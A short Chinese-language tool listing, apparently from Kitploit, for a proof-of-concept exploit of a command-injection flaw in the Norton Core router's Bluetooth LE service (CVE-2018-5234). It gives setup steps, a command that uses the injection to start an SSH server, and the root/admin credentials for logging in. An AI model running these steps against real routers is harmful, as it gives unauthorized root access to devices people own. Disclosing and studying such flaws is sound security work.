ble_norton_core — 概念验证利用，演示通过Norton Core安全WiFi路由器（CVE-2018-5234）中的BLE服务进行命令注入。包括SSH访问设置和BlueZ集成。 | Kitploit

Norton Core Secure WiFi 路由器 BLE 服务命令注入 PoC (CVE-2018-5234)

更多信息请阅读论文。

为了演示利用过程，我们将使用：

操作系统 GNU/Linux；
蓝牙适配器；
BlueZ 工具（用于测试蓝牙连接）。

为了使用脚本，我们需要提前安装所有依赖：

$ pip install -r ./requirements.txt

借助 BlueZ 工具，应确保蓝牙已启用且功能正常。

重启路由器以访问工程页面。
以 root 用户身份启动 PoC（操作蓝牙所需），并将要执行的命令作为参数传入：
```
$ ./ble_norton_core.py "/etc/init.d/dropbear start"
```
脚本成功执行后，我们即可通过 SSH 连接访问设备。使用 root 作为用户名，admin 作为密码：
```
$ ssh [email protected]
```